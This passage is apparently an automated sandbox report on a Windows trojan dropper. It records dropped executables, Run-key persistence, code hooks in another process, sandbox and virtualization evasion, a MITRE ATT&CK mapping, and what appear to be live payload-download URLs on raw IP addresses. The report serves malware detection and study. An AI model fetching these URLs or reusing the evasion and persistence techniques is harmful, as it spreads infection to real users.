Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: msvcp60.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_0041AAD0 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,

0_2_0041AAD0

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: 16.exe.0.dr	Static PE information: section name: .vmp0
Source: 16.exe.0.dr	Static PE information: section name: .vmp1

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00481DA0 push eax; ret	0_2_00481DCE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00483FF4 push eax; ret	0_2_00484012
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00481DA0 push eax; ret	3_2_00481DCE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00483FF4 push eax; ret	3_2_00484012
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02188000 push eax; ret	7_3_0218802E
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004821B0 push eax; ret	7_2_004821DE
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00484854 push eax; ret	7_2_00484872

Source: update.exe.4.dr

Static PE information: section name: .text entropy: 7.398153127263923

Source: C:\Users\user\Desktop\ 16.exe	File created: \ 16.exe
Source: C:\Users\user\Desktop\ 16.exe	File created: \ 16.exe			Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	File created: C:\Users\user\Desktop\ 16.exe			Jump to dropped file
Source: C:\Users\user\Desktop\ 16.exe	File created: C:\Users\user\Desktop\update.exe			Jump to dropped file

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 1			Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 1			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 11A0005 value: E9 2B BA D3 75	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 76EDBA30 value: E9 DA 45 2C 8A	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 1210008 value: E9 8B 8E D1 75	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 76F28E90 value: E9 80 71 2E 8A	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 2CE0005 value: E9 8B 4D 39 73	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 76074D90 value: E9 7A B2 C6 8C	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 2CF0005 value: E9 EB EB 39 73	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 7608EBF0 value: E9 1A 14 C6 8C	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 2D00005 value: E9 8B 8A 8A 73	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 765A8A90 value: E9 7A 75 75 8C	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 2D10005 value: E9 2B 02 8C 73	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Memory written: PID: 6340 base: 765D0230 value: E9 DA FD 73 8C	Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041E8A0 DestroyIcon,IsWindowVisible,IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMenu,DeleteMenu,GetSystemMenu,	0_2_0041E8A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00422C90 IsIconic,IsZoomed,LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,SystemParametersInfoA,IsWindow,ShowWindow,	0_2_00422C90
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041EF70 IsIconic,IsZoomed,	0_2_0041EF70
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004194E0 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,	0_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0047FE9F IsIconic,GetWindowPlacement,GetWindowRect,	0_2_0047FE9F
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041E8A0 DestroyIcon,IsWindowVisible,IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMenu,DeleteMenu,GetSystemMenu,	3_2_0041E8A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00422C90 IsIconic,IsZoomed,LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,SystemParametersInfoA,IsWindow,ShowWindow,	3_2_00422C90
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041EF70 IsIconic,IsZoomed,	3_2_0041EF70
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004194E0 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,	3_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0047FE9F IsIconic,GetWindowPlacement,GetWindowRect,	3_2_0047FE9F
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00480750 MonitorFromWindow,IsIconic,GetWindowPlacement,GetWindowRect,	7_2_00480750
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00437210 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,	7_2_00437210
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004438D0 IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsWindow,ShowWindow,	7_2_004438D0

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\update.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0046EA70	7_2_0046EA70
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00477AC0	7_2_00477AC0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00473DE0	7_2_00473DE0

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 16.exe, 00000004.00000002.1880621041.00000000007F0000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 16.exe, 00000004.00000002.1880621041.00000000007F0000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: SBIEDLL.DLL2E3

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ 16.exe	RDTSC instruction interceptor: First address: AEF537 second address: AEF53F instructions: 0x00000000 rdtsc 0x00000002 btr edx, ebp 0x00000005 xor cl, FFFFFFB7h 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ 16.exe	RDTSC instruction interceptor: First address: A0401F second address: A04027 instructions: 0x00000000 rdtsc 0x00000002 btr edx, ebp 0x00000005 xor cl, FFFFFFB7h 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ 16.exe	RDTSC instruction interceptor: First address: A1B927 second address: A1B929 instructions: 0x00000000 rdtsc 0x00000002 rdtsc

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	API coverage: 6.0 %
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	API coverage: 5.5 %
Source: C:\Users\user\Desktop\update.exe	API coverage: 3.7 %

Source: C:\Users\user\Desktop\update.exe

Code function: 7_2_00473DE0

7_2_00473DE0

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,	0_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	0_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00423610 FindFirstFileA,FindClose,	0_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,	0_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	0_2_00411EF0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,	3_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	3_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00423610 FindFirstFileA,FindClose,	3_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,	3_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	3_2_00411EF0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004929E2 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	7_2_004929E2
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00438DA0 FindNextFileA,FindClose,FindFirstFileA,FindClose,	7_2_00438DA0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043BF10 FindFirstFileA,FindClose,	7_2_0043BF10
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0042FF90 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,	7_2_0042FF90

Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{Q
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 16.exe, 00000004.00000002.1882625896.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 16.exe, 00000004.00000003.1879496954.000000000137A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnto!

Source: C:\Users\user\Desktop\update.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\ 16.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_0041AAD0 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,

0_2_0041AAD0

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00407136 mov ebx, dword ptr fs:[00000030h]	0_2_00407136
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00407136 mov ebx, dword ptr fs:[00000030h]	3_2_00407136
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0040158F mov eax, dword ptr fs:[00000030h]	7_2_0040158F

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00440F30 GetProcessHeap,OleInitialize,GetModuleFileNameA,SetCurrentDirectoryA,LoadCursorA,GetStockObject,GetCurrentThreadId,

0_2_00440F30

Source: C:\Users\user\Desktop\ 16.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0048CA6A SetUnhandledExceptionFilter,	0_2_0048CA6A
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0048CA7C SetUnhandledExceptionFilter,	0_2_0048CA7C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0048CA6A SetUnhandledExceptionFilter,	3_2_0048CA6A
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0048CA7C SetUnhandledExceptionFilter,	3_2_0048CA7C
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0048C457 SetUnhandledExceptionFilter,	7_2_0048C457
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0048C469 SetUnhandledExceptionFilter,	7_2_0048C469

Source: C:\Users\user\Desktop\update.exe

Code function: 7_3_02184C10 cpuid

7_3_02184C10

Source: C:\Users\user\Desktop\ 16.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00483200 GetLocalTime,GetSystemTime,GetTimeZoneInformation,

0_2_00483200

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_0048CDBC GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0048CDBC

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_0049C369 GetVersion,GetProcessVersion,LoadCursorA,LoadCursorA,LoadCursorA,

0_2_0049C369

Source: C:\Users\user\Desktop\update.exe

Code function: 7_2_00474C10 htons,bind,listen,

7_2_00474C10

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Credential API Hooking	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Input Capture	421 Security Software Discovery	Remote Desktop Protocol	1 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	3 Clipboard Data	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	21 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U4fdd#U62a4#U795e1.exe	47%	ReversingLabs	Win32.Trojan.Generic
#U4fdd#U62a4#U795e1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\update.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ 16.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\ 16.exe	29%	ReversingLabs
C:\Users\user\Desktop\update.exe	61%	ReversingLabs	Win32.Trojan.FlyAgent

Source	Detection	Scanner	Label
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z	0%	Avira URL Cloud	safe
http://38.6.175.25:901/down	0%	Avira URL Cloud	safe
http://42.193.100.57/	0%	Avira URL Cloud	safe
http://38.6.175.25:901/downhttp://38.6.175.25:901	0%	Avira URL Cloud	safe
http://38.6.175.25:9018	0%	Avira URL Cloud	safe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB5	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY	0%	Avira URL Cloud	safe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=2	0%	Avira URL Cloud	safe
